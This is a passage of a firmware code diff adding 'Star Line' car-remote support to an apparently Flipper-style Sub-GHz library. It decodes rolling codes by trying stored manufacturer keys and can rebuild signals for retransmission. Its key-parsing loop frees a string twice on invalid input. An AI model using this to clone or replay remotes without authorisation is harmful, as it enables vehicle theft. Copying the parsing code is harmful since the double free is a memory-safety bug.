+            char c = key_str[i];
+            if(c == ' ') continue;
+
+            uint8_t nibble;
+            if(c >= '0' && c <= '9') {
+                nibble = c - '0';
+            } else if(c >= 'A' && c <= 'F') {
+                nibble = c - 'A' + 10;
+            } else if(c >= 'a' && c <= 'f') {
+                nibble = c - 'a' + 10;
+            } else {
+                FURI_LOG_E(TAG, "Invalid hex character: %c", c);
+                furi_string_free(temp_str);
+                break;
+            }
+
+            key = (key << 4) | nibble;
+            hex_pos++;
+        }
+
+        furi_string_free(temp_str);
+
+        if(hex_pos != 16) {
+            FURI_LOG_E(TAG, "Invalid key length: %zu nibbles (expected 16)", hex_pos);
+            break;
+        }
+
+        instance->generic.data = key;
+        FURI_LOG_I(TAG, "Parsed key: 0x%016llX", instance->generic.data);
+
+        if(instance->generic.data == 0) {
+            FURI_LOG_E(TAG, "Key is zero after parsing!");
+            break;
+        }
+
+        if(!flipper_format_read_uint32(flipper_format, "Serial", &instance->generic.serial, 1)) {
+            instance->generic.serial = instance->generic.data >> 24;
+            FURI_LOG_I(TAG, "Extracted serial: 0x%08lX", instance->generic.serial);
+        } else {
+            FURI_LOG_I(TAG, "Read serial: 0x%08lX", instance->generic.serial);
+        }
+
+        uint32_t btn_temp;
+        if(flipper_format_read_uint32(flipper_format, "Btn", &btn_temp, 1)) {
+            instance->generic.btn = (uint8_t)btn_temp;
+            FURI_LOG_I(TAG, "Read button: 0x%02X", instance->generic.btn);
+        } else {
+            instance->generic.btn = (instance->generic.data >> 16) & 0xFF;
+            FURI_LOG_I(TAG, "Extracted button: 0x%02X", instance->generic.btn);
+        }
+
+        subghz_custom_btn_set_original(star_line_btn_to_custom(instance->generic.btn));
+        subghz_custom_btn_set_max(4);
+
+        uint32_t cnt_temp;
+        if(flipper_format_read_uint32(flipper_format, "Cnt", &cnt_temp, 1)) {
+            instance->generic.cnt = (uint16_t)cnt_temp;
+            FURI_LOG_I(TAG, "Read counter: 0x%03lX", (unsigned long)instance->generic.cnt);
+        }
+
+        if(!flipper_format_read_uint32(
+               flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1)) {
+            instance->encoder.repeat = 40;
+            FURI_LOG_D(
+                TAG, "Repeat not found in file, using default 40 for continuous transmission");
+        }
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+        if(flipper_format_read_string(
+               flipper_format, "Manufacture", instance->manufacture_from_file)) {
+            instance->manufacture_name = furi_string_get_cstr(instance->manufacture_from_file);
+            instance->keystore->mfname = instance->manufacture_name;
+        } else {
+            FURI_LOG_D(TAG, "ENCODER: Missing Manufacture");
+        }
+
+        subghz_protocol_star_line_check_remote_controller(
+            &instance->generic, instance->keystore, &instance->manufacture_name);
+
+        uint8_t selected_btn = star_line_get_btn_code(instance->generic.btn);
+        subghz_protocol_encoder_star_line_get_upload(instance, selected_btn);
+
+        subghz_protocol_encoder_star_line_serialize(instance, flipper_format);
+
+        instance->encoder.is_running = true;
+
+        FURI_LOG_I(
+            TAG,
+            "Encoder deserialized: repeat=%u, size_upload=%zu, is_running=%d, front=%zu",
+            instance->encoder.repeat,
+            instance->encoder.size_upload,
+            instance->encoder.is_running,
+            instance->encoder.front);
+
+        ret = SubGhzProtocolStatusOk;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_star_line_stop(void* context) {
+    SubGhzProtocolEncoderStarLine* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_star_line_yield(void* context) {
+    SubGhzProtocolEncoderStarLine* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_star_line_alloc(SubGhzEnvironment* environment) {
+    SubGhzProtocolDecoderStarLine* instance = malloc(sizeof(SubGhzProtocolDecoderStarLine));
+    instance->base.protocol = &subghz_protocol_star_line;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->manufacture_from_file = furi_string_alloc();
+
+    instance->keystore = subghz_environment_get_keystore(environment);
+
+    return instance;
+}
+
+void subghz_protocol_decoder_star_line_free(void* context) {
+    furi_check(context);
+    SubGhzProtocolDecoderStarLine* instance = context;
+    furi_string_free(instance->manufacture_from_file);
+
+    free(instance);
+}
+
+void subghz_protocol_decoder_star_line_reset(void* context) {
+    furi_check(context);
+    SubGhzProtocolDecoderStarLine* instance = context;
+    instance->decoder.parser_step = StarLineDecoderStepReset;
+    subghz_keystore_reset_kl(instance->keystore);
+}
+
+void subghz_protocol_decoder_star_line_feed(void* context, bool level, uint32_t duration) {
+    furi_check(context);
+    SubGhzProtocolDecoderStarLine* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case StarLineDecoderStepReset:
+        if(level) {
+            if(DURATION_DIFF(duration, subghz_protocol_star_line_const.te_long * 2) <
+               subghz_protocol_star_line_const.te_delta * 2) {
+                instance->decoder.parser_step = StarLineDecoderStepCheckPreambula;
+                instance->header_count++;
+            } else if(instance->header_count > 4) {
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->decoder.te_last = duration;
+                instance->decoder.parser_step = StarLineDecoderStepCheckDuration;
+            }
+        } else {
+            instance->header_count = 0;
+        }
+        break;
+    case StarLineDecoderStepCheckPreambula:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_star_line_const.te_long * 2) <
+                        subghz_protocol_star_line_const.te_delta * 2)) {
+            instance->decoder.parser_step = StarLineDecoderStepReset;
+        } else {
+            instance->header_count = 0;
+            instance->decoder.parser_step = StarLineDecoderStepReset;
+        }
+        break;
+    case StarLineDecoderStepSaveDuration:
+        if(level) {
+            if(duration >= (subghz_protocol_star_line_const.te_long +
+                            subghz_protocol_star_line_const.te_delta)) {
+                instance->decoder.parser_step = StarLineDecoderStepReset;
+                if((instance->decoder.decode_count_bit >=
+                    subghz_protocol_star_line_const.min_count_bit_for_found) &&
+                   (instance->decoder.decode_count_bit <=
+                    subghz_protocol_star_line_const.min_count_bit_for_found + 2)) {
+                    if(instance->generic.data != instance->decoder.decode_data) {
+                        instance->generic.data = instance->decoder.decode_data;
+                        instance->generic.data_count_bit =
+                            subghz_protocol_star_line_const.min_count_bit_for_found;
+                        if(instance->base.callback)
+                            instance->base.callback(&instance->base, instance->base.context);
+                    }
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->header_count = 0;
+                break;
+            } else {
+                instance->decoder.te_last = duration;
+                instance->decoder.parser_step = StarLineDecoderStepCheckDuration;
+            }
+
+        } else {
+            instance->decoder.parser_step = StarLineDecoderStepReset;
+        }
+        break;
+    case StarLineDecoderStepCheckDuration:
+        if(!level) {
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_star_line_const.te_short) <
+                subghz_protocol_star_line_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_star_line_const.te_short) <
+                subghz_protocol_star_line_const.te_delta)) {
+                if(instance->decoder.decode_count_bit <
+                   subghz_protocol_star_line_const.min_count_bit_for_found) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                } else {
+                    instance->decoder.decode_count_bit++;
+                }
+                instance->decoder.parser_step = StarLineDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_star_line_const.te_long) <
+                 subghz_protocol_star_line_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_star_line_const.te_long) <
+                 subghz_protocol_star_line_const.te_delta)) {
+                if(instance->decoder.decode_count_bit <
+                   subghz_protocol_star_line_const.min_count_bit_for_found) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                } else {
+                    instance->decoder.decode_count_bit++;
+                }
+                instance->decoder.parser_step = StarLineDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = StarLineDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = StarLineDecoderStepReset;
+        }
+        break;
+    }
+}
+
+static inline bool subghz_protocol_star_line_check_decrypt(
+    SubGhzBlockGeneric* instance,
+    uint32_t decrypt,
+    uint8_t btn,
+    uint32_t end_serial) {
+    furi_check(instance);
+    if((decrypt >> 24 == btn) && ((((uint16_t)(decrypt >> 16)) & 0x00FF) == end_serial)) {
+        instance->cnt = decrypt & 0x0000FFFF;
+        return true;
+    }
+    return false;
+}
+
+static uint8_t subghz_protocol_star_line_check_remote_controller_selector(
+    SubGhzBlockGeneric* instance,
+    uint32_t fix,
+    uint32_t hop,
+    SubGhzKeystore* keystore,
+    const char** manufacture_name) {
+    uint16_t end_serial = (uint16_t)(fix & 0xFF);
+    uint8_t btn = (uint8_t)(fix >> 24);
+    uint32_t decrypt = 0;
+    uint64_t man_normal_learning;
+    bool mf_not_set = false;
+    if(keystore->mfname == NULL) {
+        subghz_keystore_reset_kl(keystore);
+    }
+
+    const char* mfname = keystore->mfname;
+
+    if(strcmp(mfname, "Unknown") == 0) {
+        return 1;
+    } else if(strcmp(mfname, "") == 0) {
+        mf_not_set = true;
+    }
+    for
+        M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) {
+            if(mf_not_set || (strcmp(furi_string_get_cstr(manufacture_code->name), mfname) == 0)) {
+                switch(manufacture_code->type) {
+                case KEELOQ_LEARNING_SIMPLE:
+                    decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key);
+                    if(subghz_protocol_star_line_check_decrypt(
+                           instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        return 1;
+                    }
+                    break;
+                case KEELOQ_LEARNING_NORMAL:
+                    man_normal_learning =
+                        subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key);
+                    decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning);
+                    if(subghz_protocol_star_line_check_decrypt(
+                           instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        return 1;
+                    }
+                    break;
+                case KEELOQ_LEARNING_UNKNOWN:
+                    decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key);
+                    if(subghz_protocol_star_line_check_decrypt(
+                           instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        keystore->kl_type = 1;
+                        return 1;
+                    }
+                    uint64_t man_rev = 0;
+                    uint64_t man_rev_byte = 0;
+                    for(uint8_t i = 0; i < 64; i += 8) {
+                        man_rev_byte = (uint8_t)(manufacture_code->key >> i);
+                        man_rev = man_rev | man_rev_byte << (56 - i);
+                    }
+                    decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_rev);
+                    if(subghz_protocol_star_line_check_decrypt(
+                           instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        keystore->kl_type = 1;
+                        return 1;
+                    }
+                    man_normal_learning =
+                        subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key);
+                    decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning);
+                    if(subghz_protocol_star_line_check_decrypt(
+                           instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        keystore->kl_type = 2;
+                        return 1;
+                    }
+                    man_normal_learning =
+                        subghz_protocol_keeloq_common_normal_learning(fix, man_rev);
+                    decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning);
+                    if(subghz_protocol_star_line_check_decrypt(
+                           instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        keystore->kl_type = 2;
+                        return 1;
+                    }
+                    break;
+                }
+            }
+        }
+
+    *manufacture_name = "Unknown";
+    keystore->mfname = "Unknown";
+    instance->cnt = 0;
+
+    return 0;
+}
+
+static void subghz_protocol_star_line_check_remote_controller(
+    SubGhzBlockGeneric* instance,
+    SubGhzKeystore* keystore,
+    const char** manufacture_name) {
+    uint64_t key = subghz_protocol_blocks_reverse_key(instance->data, instance->data_count_bit);
+    uint32_t key_fix = key >> 32;
+    uint32_t key_hop = key & 0x00000000ffffffff;
+
+    subghz_protocol_star_line_check_remote_controller_selector(
+        instance, key_fix, key_hop, keystore, manufacture_name);
+
+    instance->serial = key_fix & 0x00FFFFFF;
+    instance->btn = key_fix >> 24;
+}
+
+uint8_t subghz_protocol_decoder_star_line_get_hash_data(void* context) {
+    furi_check(context);
+    SubGhzProtocolDecoderStarLine* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_star_line_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_check(context);
+    SubGhzProtocolDecoderStarLine* instance = context;
+    subghz_protocol_star_line_check_remote_controller(
+        &instance->generic, instance->keystore, &instance->manufacture_name);
+
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+
+    do {
+        if(!flipper_format_write_header_cstr(
+               flipper_format, "Flipper SubGhz Key File", 1)) {
+            break;
+        }
+
+        if(preset != NULL) {
+            if(!flipper_format_insert_or_update_uint32(
+                   flipper_format, "Frequency", &preset->frequency, 1)) {
+                break;
+            }
+
+            FuriString* preset_str = furi_string_alloc();
+            subghz_block_generic_get_preset_name(
+                furi_string_get_cstr(preset->name), preset_str);
+            if(!flipper_format_insert_or_update_string_cstr(
+                   flipper_format, "Preset", furi_string_get_cstr(preset_str))) {
+                furi_string_free(preset_str);
+                break;
+            }
+            furi_string_free(preset_str);
+        }
+
+        if(!flipper_format_insert_or_update_string_cstr(
+               flipper_format, "Protocol", instance->generic.protocol_name)) {
+            break;
+        }
+
+        uint32_t bits = instance->generic.data_count_bit;
+        if(!flipper_format_insert_or_update_uint32(flipper_format, "Bit", &bits, 1)) {
+            break;
+        }
+
+        char key_str[20];
+        snprintf(key_str, sizeof(key_str), "%016llX", instance->generic.data);
+        if(!flipper_format_insert_or_update_string_cstr(flipper_format, "Key", key_str)) {
+            break;
+        }
+
+        if(!flipper_format_insert_or_update_uint32(
+               flipper_format, "Serial", &instance->generic.serial, 1)) {
+            break;
+        }
+
+        uint32_t temp = instance->generic.btn;
+        if(!flipper_format_insert_or_update_uint32(flipper_format, "Btn", &temp, 1)) {
+            break;
+        }
+
+        if(!flipper_format_insert_or_update_uint32(
+               flipper_format, "Cnt", &instance->generic.cnt, 1)) {
+            break;
+        }
+
+        if(!flipper_format_insert_or_update_string_cstr(
+               flipper_format, "Manufacture", instance->manufacture_name)) {
+            break;
+        }
+
+        ret = SubGhzProtocolStatusOk;
+    } while(false);
+
+    return ret;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_star_line_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_check(context);
+    SubGhzProtocolDecoderStarLine* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+
+    flipper_format_rewind(flipper_format);
+
+    do {
+        FuriString* temp_str = furi_string_alloc();
+        if(!flipper_format_read_string(flipper_format, "Protocol", temp_str)) {
+            FURI_LOG_E(TAG, "Missing Protocol");
+            furi_string_free(temp_str);
+            break;
+        }
+
+        if(!furi_string_equal(temp_str, instance->base.protocol->name)) {
+            FURI_LOG_E(
+                TAG,
+                "Wrong protocol %s != %s",
+                furi_string_get_cstr(temp_str),
+                instance->base.protocol->name);
+            furi_string_free(temp_str);
+            break;
+        }
+        furi_string_free(temp_str);
+
+        uint32_t bit_count_temp;
+        if(!flipper_format_read_uint32(flipper_format, "Bit", &bit_count_temp, 1)) {
+            FURI_LOG_E(TAG, "Missing Bit");
+            break;
+        }
+
+        instance->generic.data_count_bit = subghz_protocol_star_line_const.min_count_bit_for_found;
+
+        temp_str = furi_string_alloc();
+        if(!flipper_format_read_string(flipper_format, "Key", temp_str)) {
+            FURI_LOG_E(TAG, "Missing Key");
+            furi_string_free(temp_str);
+            break;
+        }
+
+        const char* key_str = furi_string_get_cstr(temp_str);
+        uint64_t key = 0;
+        size_t str_len = strlen(key_str);
+        size_t hex_pos = 0;
+        for(size_t i = 0; i < str_len && hex_pos < 16; i++) {
+            char c = key_str[i];
+            if(c == ' ') continue;
+
+            uint8_t nibble;
+            if(c >= '0' && c <= '9') {
+                nibble = c - '0';
+            } else if(c >= 'A' && c <= 'F') {
+                nibble = c - 'A' + 10;
+            } else if(c >= 'a' && c <= 'f') {
+                nibble = c - 'a' + 10;
+            } else {
+                FURI_LOG_E(TAG, "Invalid hex character: %c", c);
+                furi_string_free(temp_str);
+                break;
+            }
+
+            key = (key << 4) | nibble;
+            hex_pos++;
+        }
+
+        furi_string_free(temp_str);
+
+        if(hex_pos != 16) {
+            FURI_LOG_E(TAG, "Invalid key length: %zu nibbles (expected 16)", hex_pos);
+            break;
+        }
+
+        instance->generic.data = key;
+        FURI_LOG_I(TAG, "Parsed key: 0x%016llX", instance->generic.data);
+
+        if(instance->generic.data == 0) {
+            FURI_LOG_E(TAG, "Key is zero after parsing!");
+            break;
+        }
+
+        if(!flipper_format_read_uint32(flipper_format, "Serial", &instance->generic.serial, 1)) {
+            instance->generic.serial = instance->generic.data >> 24;
+            FURI_LOG_I(TAG, "Extracted serial: 0x%08lX", instance->generic.serial);
+        } else {
+            FURI_LOG_I(TAG, "Read serial: 0x%08lX", instance->generic.serial);
+        }
+
+        uint32_t btn_temp;
+        if(flipper_format_read_uint32(flipper_format, "Btn", &btn_temp, 1)) {
+            instance->generic.btn = (uint8_t)btn_temp;
+            FURI_LOG_I(TAG, "Read button: 0x%02X", instance->generic.btn);
+        } else {
+            instance->generic.btn = (instance->generic.data >> 16) & 0xFF;
+            FURI_LOG_I(TAG, "Extracted button: 0x%02X", instance->generic.btn);
+        }
+
+        uint32_t cnt_temp;
+        if(flipper_format_read_uint32(flipper_format, "Cnt", &cnt_temp, 1)) {
+            instance->generic.cnt = (uint16_t)cnt_temp;
+            FURI_LOG_I(TAG, "Read counter: 0x%03lX", (unsigned long)instance->generic.cnt);
+        }
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+
+        if(flipper_format_read_string(
+               flipper_format, "Manufacture", instance->manufacture_from_file)) {
+            instance->manufacture_name = furi_string_get_cstr(instance->manufacture_from_file);
+            instance->keystore->mfname = instance->manufacture_name;
+        } else {
+            FURI_LOG_D(TAG, "DECODER: Missing Manufacture");
+        }
+
+        FURI_LOG_I(TAG, "Decoder deserialized");
+
+        ret = SubGhzProtocolStatusOk;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_decoder_star_line_get_string(void* context, FuriString* output) {
+    furi_check(context);
+    SubGhzProtocolDecoderStarLine* instance = context;
+
+    subghz_protocol_star_line_check_remote_controller(
+        &instance->generic, instance->keystore, &instance->manufacture_name);
+
+    subghz_custom_btn_set_original(star_line_btn_to_custom(instance->generic.btn));
+    subghz_custom_btn_set_max(4);
+
+    uint32_t code_found_hi = instance->generic.data >> 32;
+    uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff;
+
+    uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key(
+        instance->generic.data, instance->generic.data_count_bit);
+    uint32_t code_found_reverse_hi = code_found_reverse >> 32;
+    uint32_t code_found_reverse_lo = code_found_reverse & 0x00000000ffffffff;
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:%08lX%08lX\r\n"
+        "Fix:0x%08lX    Cnt:%04lX\r\n"
+        "Hop:0x%08lX    Btn:[%s]\r\n"
+        "MF:%s\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        code_found_hi,
+        code_found_lo,
+        code_found_reverse_hi,
+        instance->generic.cnt,
+        code_found_reverse_lo,
+        star_line_btn_name(star_line_get_btn_code(instance->generic.btn)),
+        instance->manufacture_name);
+}

lib/subghz/protocols/star_line.h

@@ -0,0 +1,47 @@
+#pragma once
+#include <furi.h>
+#include <lib/subghz/protocols/base.h>
+#include <lib/subghz/types.h>
+#include <lib/subghz/blocks/const.h>
+#include <lib/subghz/blocks/decoder.h>
+#include <lib/subghz/blocks/encoder.h>
+#include <lib/subghz/blocks/generic.h>
+#include <lib/subghz/blocks/math.h>
+#include <lib/toolbox/manchester_decoder.h>
+#include <flipper_format/flipper_format.h>
+
+#define SUBGHZ_PROTOCOL_STAR_LINE_NAME "Star Line"
+
+typedef struct SubGhzProtocolDecoderStarLine SubGhzProtocolDecoderStarLine;
+typedef struct SubGhzProtocolEncoderStarLine SubGhzProtocolEncoderStarLine;
+
+extern const SubGhzProtocolDecoder subghz_protocol_star_line_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_star_line_encoder;
+extern const SubGhzProtocol subghz_protocol_star_line;
+
+void* subghz_protocol_encoder_star_line_alloc(SubGhzEnvironment* environment);
+void subghz_protocol_encoder_star_line_free(void* context);
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_star_line_deserialize(void* context, FlipperFormat* flipper_format);
+
+void subghz_protocol_encoder_star_line_stop(void* context);
+
+LevelDuration subghz_protocol_encoder_star_line_yield(void* context);
+
+void* subghz_protocol_decoder_star_line_alloc(SubGhzEnvironment* environment);
+void subghz_protocol_decoder_star_line_free(void* context);
+void subghz_protocol_decoder_star_line_reset(void* context);
+void subghz_protocol_decoder_star_line_feed(void* context, bool level, uint32_t duration);
+
+uint8_t subghz_protocol_decoder_star_line_get_hash_data(void* context);
+
+SubGhzProtocolStatus subghz_protocol_decoder_star_line_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_star_line_deserialize(void* context, FlipperFormat* flipper_format);
+
+void subghz_protocol_decoder_star_line_get_string(void* context, FuriString* output);